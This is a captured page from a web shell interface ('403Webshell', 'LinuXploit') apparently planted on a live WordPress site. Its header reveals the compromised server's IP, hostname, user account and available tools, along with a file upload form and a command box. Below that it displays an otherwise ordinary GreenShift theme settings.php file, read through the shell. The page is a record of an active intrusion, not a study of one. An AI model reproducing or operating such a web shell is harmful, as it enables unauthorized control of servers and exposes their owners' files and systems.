403Webshell
Server IP : 185.252.147.100  /  Your IP : 216.73.217.33
Web Server : nginx/1.27.3
System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : mitr ( 1000)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/html/consulting/wordpress/wp-content/themes/greenshift/inc/admin_menu/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/html/consulting/wordpress/wp-content/themes/greenshift/inc/admin_menu/settings.php
<?php
// Exit if accessed directly
if (!defined('ABSPATH')) {
	exit;
}

if (!class_exists('GreenshiftMenuSettings')) {
	class GreenshiftMenuSettings
	{

		private $global_settings;
		public function __construct()
		{
			$this->global_settings = get_option('greenshift_theme_options');
			add_action('admin_menu', array($this, 'greenshift_admin_page'));
			add_action('wp_footer', array($this, 'greenshift_show_footer_scripts'));
			add_filter('body_class', array($this, 'greenshift_theme_body_classes'));
			add_action('rest_api_init', array($this, 'greenshift_theme_register_route'));
			add_action( 'after_switch_theme', array($this, 'greenshift_theme_activate') );
			add_action( 'admin_notices', array($this, 'greenshift_theme_notices') );
		}

		function greenshift_theme_notices() {
			?>
			<?php if (!defined('GREENSHIFT_DIR_PATH')) :?>
			<div class="notice notice-success settings-error">
					<p>
					<?php esc_html_e("To get Full Power of this theme, please, install Greenshift Companion plugin", 'greenshift'); ?>
						<a href="<?php echo admin_url("plugin-install.php?s=Greenshift%2520%25E2%2580%2593%2520animation%2520and%2520page%2520builder%2520blocks&tab=search&type=term");?>">
						<?php esc_html_e("Install Core Greenshift plugin", 'greenshift');?> →
						</a>
					</p>
			</div>
			<?php endif;?>
			<?php
		}

		function greenshift_theme_activate() {
			if( isset( $_GET['activated'] ) ) {
				wp_safe_redirect( admin_url('themes.php?page=greenshifttheme_settings') );
				exit;
			}
		}

		public function greenshift_show_footer_scripts()
		{
			$global_settings = $this->global_settings;
			if (!empty($global_settings['backtotop'])) {
				wp_enqueue_script('greenshift-totop-init');
			}
			if (!empty($global_settings['progressbar']) && is_singular('post')) {
				wp_enqueue_script('greenshift-progressbar');
			}
		}

		public function greenshift_theme_body_classes($classes)
		{
			$classes[] = 'greenshift-theme';
			return $classes;
		}

		public function greenshift_admin_page()
		{

			add_theme_page(
				'GreenShift Theme Options',
				'Theme Options',
				'edit_theme_options',
				'greenshifttheme_settings',
				array($this, 'themeoptions_page')
			);
			if(defined('GREENSHIFT_DIR_PATH')){
				add_submenu_page(
					'greenshift_dashboard',
					esc_html__('Theme Settings', 'greenshift'),
					esc_html__('Theme Settings', 'greenshift'),
					'manage_options',
					'greenshift_theme_settings',
					array($this, 'theme_settings_page')
				);
			}
		}

		public function themeoptions_page()
		{

			require_once GREENSHIFT_THEME_PATH . '/inc/admin_menu/welcome-page.php';
		}

		public function theme_settings_page()
		{
			require_once GREENSHIFT_THEME_PATH . '/inc/admin_menu/onboard.php';
		}

		public function greenshift_theme_register_route(){
			register_rest_route(
				'greenshift/v1',
				'/importtemplatepart/',
				array(
					array(
						'methods'             => 'POST',
						'callback'            => array($this, 'greenshift_theme_import_template'),
						'permission_callback' => function () {
							return current_user_can('manage_options');
						},
						'args'                => array(),
					),
				)
			);
		}
		function greenshift_theme_import_template($request)
		{
			try {
				$params = $request->get_params();

				$pageid = (int)$params['pageid'];
				$content = json_decode($params['content'], true);
				wp_update_post(array(
					'ID' => $pageid,
					'post_content' => wp_slash($content),
				));
				return json_encode(array(
					'success' => true,
					'message' => 'Template is imported!',
				));
			} catch (Exception $e) {
				return json_encode(array(
					'success' => false,
					'message' => $e->getMessage(),
				));
			}
		}
		public static function greenshift_check_addons(){
			if(!defined('GREENSHIFT_DIR_PATH') || !defined('GREENSHIFT_DIR_URL')){
				return;
			}
			$library_asset_file = include(GREENSHIFT_DIR_PATH . 'build/gspbLibrary.asset.php');
			wp_enqueue_script(
				'greenShift-library-script',
				GREENSHIFT_DIR_URL . 'build/gspbLibrary.js',
				array('wp-blocks', 'wp-i18n', 'wp-element', 'wp-editor', 'wp-data', 'wp-plugins', 'wp-edit-post'),
				$library_asset_file['version'],
				false
			);
			wp_enqueue_script(
				'greenShift-editor-js',
				GREENSHIFT_DIR_URL . 'build/gspbCustomEditor.js',
				array('greenShift-library-script', 'jquery', 'wp-data', 'wp-element'),
				$library_asset_file['version'],
				true
			);
			wp_enqueue_style('greenShift-library-editor');
			wp_enqueue_style('greenShift-block-css');
			$addonlink = admin_url('admin.php?page=greenshift_upgrade');
			$updatelink = $addonlink;
			wp_localize_script(
				'greenShift-library-script',
				'greenShift_params',
				array(
					'ajaxUrl' => admin_url('admin-ajax.php'),
					'pluginURL' => GREENSHIFT_DIR_URL,
					'theme' => 'greenshift',
					'isRehub' => '',
					'addonLink' => $addonlink,
					'updateLink' => $updatelink,
					'nonce' => wp_create_nonce('gspb_nonce'),
				)
			);

			$licenses = greenshift_edd_check_all_licenses();

			$is_query_active = (((!empty($licenses['all_in_one']) && $licenses['all_in_one'] == 'valid') || (!empty($licenses['query_addon']) && $licenses['query_addon'] == 'valid') || (!empty($licenses['all_in_one_woo']) && $licenses['all_in_one_woo'] == 'valid') || (!empty($licenses['all_in_one_design']) && $licenses['all_in_one_design'] == 'valid') || (!empty($licenses['all_in_one_seo']) && $licenses['all_in_one_seo'] == 'valid'))) ? true : false;
	
			$check = '';
			if ($is_query_active ) {
				$check = 1;
			}
			$lc = array('can_use_premium_code' => $check);
			wp_localize_script('greenShift-library-script', 'greenshiftQUERY', $lc);

			$is_woo_active = (((!empty($licenses['all_in_one']) && $licenses['all_in_one'] == 'valid') || (!empty($licenses['all_in_one_woo']) && $licenses['all_in_one_woo'] == 'valid') || (!empty($licenses['woocommerce_addon']) && $licenses['woocommerce_addon'] == 'valid'))) ? true : false;

			$check = '';
			if ($is_woo_active) {
				$check = 1;
			}
			$lc = array('can_use_premium_code' => $check);
			wp_localize_script('greenShift-library-script', 'greenshiftWOO', $lc);

			$is_gsap_active = ((!empty($licenses['all_in_one']) && $licenses['all_in_one'] == 'valid') || (!empty($licenses['gsap_addon']) && $licenses['gsap_addon'] == 'valid') || (!empty($licenses['all_in_one_design']) && $licenses['all_in_one_design'] == 'valid')) ? true : false;

			$check = '';
			if ($is_gsap_active) {
				$check = 1;
			}
			$lc = array('can_use_premium_code' => $check,);
			wp_localize_script('greenShift-library-script', 'greenshiftGSAP', $lc);
		}
	}
}

//////////////////////////////////////////////////////////////////
// Theme setup in GS
//////////////////////////////////////////////////////////////////


add_action('greenshift_admin_menu', 'greenshift_theme_settings_menu');
function greenshift_theme_settings_menu($activetab)
{
	echo $activetab;
	$default_tab = null;
	$tab  = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : $default_tab;
	$activetab  = isset($_GET['page']) ? sanitize_text_field($_GET['page']) : $default_tab;
	$class = ($activetab == "greenshift_theme_settings") ? " active" : "";
	$svg = '<svg xmlns="http://www.w3.org/2000/svg" shape-rendering="geometricPrecision" text-rendering="geometricPrecision" width="18px" height="18px" viewBox="0 0 512 512"><path fill="#ccc" d="M256 0c70.69 0 134.69 28.66 181.02 74.98C483.34 121.31 512 185.31 512 256c0 70.69-28.66 134.69-74.98 181.02C390.69 483.34 326.69 512 256 512c-70.69 0-134.69-28.66-181.02-74.98C28.66 390.69 0 326.69 0 256c0-70.69 28.66-134.69 74.98-181.02C121.31 28.66 185.31 0 256 0zm147.19 108.81C365.52 71.15 313.48 47.85 256 47.85c-57.48 0-109.52 23.3-147.19 60.96C71.15 146.48 47.85 198.52 47.85 256c0 57.48 23.3 109.52 60.96 147.19 37.67 37.66 89.71 60.96 147.19 60.96 57.48 0 109.52-23.3 147.19-60.96 37.66-37.67 60.96-89.71 60.96-147.19 0-57.48-23.3-109.52-60.96-147.19z"/></svg>';
	$svgactive = '<svg fill="green"  xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" width="20px" height="20px" viewBox="0 0 122.88 122.88"><g><path d="M61.439,0L61.439,0v0.016c-16.976,0-32.335,6.874-43.443,17.981S0.016,44.464,0.016,61.438H0v0.002l0,0h0.016 c0,16.978,6.874,32.336,17.981,43.444c11.107,11.106,26.467,17.98,43.441,17.98v0.016h0.002l0,0v-0.016 c16.977,0,32.336-6.874,43.443-17.98c11.107-11.108,17.981-26.467,17.981-43.441h0.016v-0.003l0,0h-0.016 c0-16.976-6.874-32.335-17.981-43.442S78.416,0.016,61.442,0.016V0H61.439L61.439,0z M51.181,42.479 c-1.909-1.964-1.864-5.1,0.098-7.01c1.961-1.909,5.1-1.866,7.009,0.098l21.838,22.519l-3.554,3.456l3.569-3.458 c1.91,1.971,1.862,5.116-0.108,7.027c-0.057,0.057-0.115,0.109-0.175,0.161L58.288,87.329c-1.909,1.963-5.048,2.007-7.009,0.097 c-1.962-1.907-2.007-5.045-0.098-7.009l18.473-18.889L51.181,42.479L51.181,42.479z"/></g></svg>';
	$svgready = '<svg fill="green" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" width="20x" height="20px" viewBox="0 0 122.881 122.88"><g><path d="M61.44,0c33.933,0,61.441,27.507,61.441,61.439 c0,33.933-27.508,61.44-61.441,61.44C27.508,122.88,0,95.372,0,61.439C0,27.507,27.508,0,61.44,0L61.44,0z M34.106,67.678 l-0.015-0.014c-0.785-0.718-1.207-1.685-1.256-2.669c-0.049-0.982,0.275-1.985,0.984-2.777c0.01-0.011,0.019-0.021,0.029-0.031 c0.717-0.784,1.684-1.207,2.668-1.256c0.989-0.049,1.998,0.28,2.792,0.998l12.956,11.748l31.089-32.559v0 c0.74-0.776,1.723-1.18,2.719-1.204c0.992-0.025,1.994,0.329,2.771,1.067v0.001c0.777,0.739,1.18,1.724,1.205,2.718 c0.025,0.993-0.33,1.997-1.068,2.773L55.279,81.769c-0.023,0.024-0.048,0.047-0.073,0.067c-0.715,0.715-1.649,1.095-2.598,1.13 c-0.974,0.037-1.963-0.293-2.744-1L34.118,67.688L34.106,67.678L34.106,67.678L34.106,67.678z"/></g></svg>';
	echo '<div class="gspb_iconsList__item'.$class.'" data-id="22"><a class="gspb_iconsList__link" href="'.admin_url('admin.php?page=greenshift_theme_settings').'" rel="noopener"></a>
	<svg  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="display:inline-block;vertical-align:middle" width="18" height="18" x="0px" y="0px" viewBox="0 0 122.88 98.21"><g><path class="st0" d="M49.11,35.13c7.2,5.16,18.74-0.38,23.28,8.6c1.2,2.38,1.46,5.64,0.38,8.23c-0.44,1.04-1.08,1.97-1.96,2.68 c-0.39,0.31-0.82,0.59-1.3,0.83c-5.92,2.94-12.1-1.17-15.37-6.14C51.13,44.75,49.82,39.04,49.11,35.13L49.11,35.13z M100.01,0H7.26 C3.27,0,0,3.27,0,7.26v77.78c0,3.99,3.27,7.26,7.26,7.26h72.36l-6.27-5.34H7.12c-0.56,0-1.05-0.21-1.42-0.59 c-0.37-0.37-0.59-0.87-0.59-1.42V20.33H5.08h96.79V50l5.4,4.38V7.26C107.27,3.27,104,0,100.01,0L100.01,0z M14.17,8.16 c-1.98,0-3.59,1.61-3.59,3.59c0,1.98,1.61,3.58,3.59,3.58c1.98,0,3.59-1.61,3.59-3.58C17.76,9.77,16.15,8.16,14.17,8.16L14.17,8.16 z M38.48,8.16c-1.98,0-3.59,1.61-3.59,3.59c0,1.98,1.6,3.58,3.59,3.58c1.98,0,3.59-1.61,3.59-3.58 C42.07,9.77,40.46,8.16,38.48,8.16L38.48,8.16z M26.33,8.16c-1.98,0-3.59,1.61-3.59,3.59c0,1.98,1.61,3.58,3.59,3.58 c1.98,0,3.59-1.61,3.59-3.58C29.91,9.77,28.31,8.16,26.33,8.16L26.33,8.16z M85.63,74.54c4.01-3.2,7.12-6.89,9.24-11.12l25.8,27.21 c1.95,1.84,3.05,3.41,1.42,6.23c-0.81,0.83-1.67,1.28-2.58,1.34c-0.9,0.06-1.85-0.26-2.84-0.98L85.63,74.54L85.63,74.54z M72.02,58.75c1.74-0.93,4.12-3.23,4.69-5.74l16.15,8.86c-2.33,4.64-5.3,8.61-9.37,11.43C79.24,67.6,76.86,64.16,72.02,58.75 L72.02,58.75z"/></g></svg><span class="gspb_iconsList__item__text">'.esc_html__("Theme Settings", 'greenshift').'</span></div>';
	if($activetab == 'greenshift_theme_settings'){
		echo '<style>.theme_settings_menu{font-size:14px; margin-bottom:35px; margin-top:5px}.theme_settings_menu_item{margin-bottom:12px; margin-left:25px}.theme_settings_menu_item a{display:flex; gap:10px; align-items:center; color: #111; text-decoration:none}.theme_settings_menu_item.active{font-weight:bold}</style>';
		echo '<div class="theme_settings_menu">';

			echo '<div class="theme_settings_menu_item'.(($tab == null || $tab == 'brand') ? " active" : "").'">';
				echo '<a href="'.admin_url('admin.php?page=greenshift_theme_settings&tab=brand').'" class="theme_settings_menu_link">'.(($tab == null || $tab == 'brand') ? $svgactive : $svg) .esc_html__("Brand Settings", 'greenshift').'</a>';
			echo '</div>';

			echo '<div class="theme_settings_menu_item'.(( $tab == 'home') ? " active" : "").'">';
				echo '<a href="'.admin_url('admin.php?page=greenshift_theme_settings&tab=home').'" class="theme_settings_menu_link">'.(( $tab == 'home') ? $svgactive : $svg) .esc_html__("Homepage Settings", 'greenshift').'</a>';
			echo '</div>';

			echo '<div class="theme_settings_menu_item'.(( $tab == 'header') ? " active" : "").'">';
				echo '<a href="'.admin_url('admin.php?page=greenshift_theme_settings&tab=header').'" class="theme_settings_menu_link">'.(( $tab == 'header') ? $svgactive : $svg) .esc_html__("Header pattern", 'greenshift').'</a>';
			echo '</div>';

			echo '<div class="theme_settings_menu_item'.(( $tab == 'footer') ? " active" : "").'">';
				echo '<a href="'.admin_url('admin.php?page=greenshift_theme_settings&tab=footer').'" class="theme_settings_menu_link">'.(( $tab == 'footer') ? $svgactive : $svg) .esc_html__("Footer pattern", 'greenshift').'</a>';
			echo '</div>';

			echo '<div class="theme_settings_menu_item'.(( $tab == 'pages') ? " active" : "").'">';
				echo '<a href="'.admin_url('admin.php?page=greenshift_theme_settings&tab=pages').'" class="theme_settings_menu_link">'.(( $tab == 'pages') ? $svgactive : $svg) .esc_html__("Create Extra pages", 'greenshift').'</a>';
			echo '</div>';

			echo '<div class="theme_settings_menu_item" style="padding: 20px 0 15px 0;border-bottom: 1px solid #ddd;margin-bottom: 15px;">';
				esc_html_e("Extra Template Settings", 'greenshift');
			echo '</div>';

			echo '<div class="theme_settings_menu_item'.(( $tab == 'single') ? " active" : "").'">';
				echo '<a href="'.admin_url('admin.php?page=greenshift_theme_settings&tab=single').'" class="theme_settings_menu_link">'.(( $tab == 'single') ? $svgactive : $svg) .esc_html__("Single post template", 'greenshift').'</a>';
			echo '</div>';

			echo '<div class="theme_settings_menu_item'.(( $tab == 'archive') ? " active" : "").'">';
				echo '<a href="'.admin_url('admin.php?page=greenshift_theme_settings&tab=archive').'" class="theme_settings_menu_link">'.(( $tab == 'archive') ? $svgactive : $svg) .esc_html__("Post Archive template", 'greenshift').'</a>';
			echo '</div>';


			if(class_exists( 'woocommerce' )){
				echo '<div class="theme_settings_menu_item'.(( $tab == 'singleproduct') ? " active" : "").'">';
					echo '<a href="'.admin_url('admin.php?page=greenshift_theme_settings&tab=singleproduct').'" class="theme_settings_menu_link">'.(( $tab == 'singleproduct') ? $svgactive : $svg) .esc_html__("Single Product template", 'greenshift').'</a>';
				echo '</div>';

				echo '<div class="theme_settings_menu_item'.(( $tab == 'archiveproduct') ? " active" : "").'">';
					echo '<a href="'.admin_url('admin.php?page=greenshift_theme_settings&tab=archiveproduct').'" class="theme_settings_menu_link">'.(( $tab == 'archiveproduct') ? $svgactive : $svg) .esc_html__("Shop archive template", 'greenshift').'</a>';
				echo '</div>';

				echo '<div class="theme_settings_menu_item'.(( $tab == 'searchproduct') ? " active" : "").'">';
				echo '<a href="'.admin_url('admin.php?page=greenshift_theme_settings&tab=searchproduct').'" class="theme_settings_menu_link">'.(( $tab == 'searchproduct') ? $svgactive : $svg) .esc_html__("Search Product template", 'greenshift').'</a>';
			echo '</div>';
			}
	
		echo '</div>';
	}

}

//////////////////////////////////////////////////////////////////
// REST routes to save and get settings
//////////////////////////////////////////////////////////////////

add_action('rest_api_init', 'greenshift_theme_register_route');
function greenshift_theme_register_route()
{
	register_rest_route(
		'greenshifttheme/v1',
		'/global_settings/',
		array(
			array(
				'methods'             => 'GET',
				'callback'            => 'greenshift_theme_get_global_settings',
				'permission_callback' => function () {
					return current_user_can('edit_theme_options');
				},
				'args'                => array(),
			),
			array(
				'methods'             => 'POST',
				'callback'            => 'greenshift_theme_update_global_settings',
				'permission_callback' => function () {
					return current_user_can('edit_theme_options');
				},
				'args'                => array(),
			),
		)
	);
}

function greenshift_theme_get_global_settings()
{

	try {

		$settings = get_option('greenshift_theme_options');

		return array(
			'success'  => true,
			'settings' => $settings,
		);
	} catch (Exception $e) {
		return array(
			'success' => false,
			'message' => $e->getMessage(),
		);
	}
}

function greenshift_theme_update_global_settings($request)
{

	try {
		$params = $request->get_params();
		$defaults = get_option('greenshift_theme_options');
		$values = array();
		if(!empty($params['settings'])){
			foreach ($params['settings'] as $key => $value) {
				if (is_array($value)) {
					$values[$key] = array();
					foreach ($value as $subkey => $subvalue) {
						$values[$key][$subkey] = sanitize_text_field($subvalue);
					}
				} else {
					$values[$key] = sanitize_text_field($value);
				}
			}
		}

		if ($defaults === false) {
			add_option('greenshift_theme_options', $values);
		} else {
			$newargs = wp_parse_args($values, $defaults);
			update_option('greenshift_theme_options', $newargs);
		}

		return json_encode(array(
			'success' => true,
			'message' => 'Global settings updated!',
		));
	} catch (Exception $e) {
		return json_encode(array(
			'success' => false,
			'message' => $e->getMessage(),
		));
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit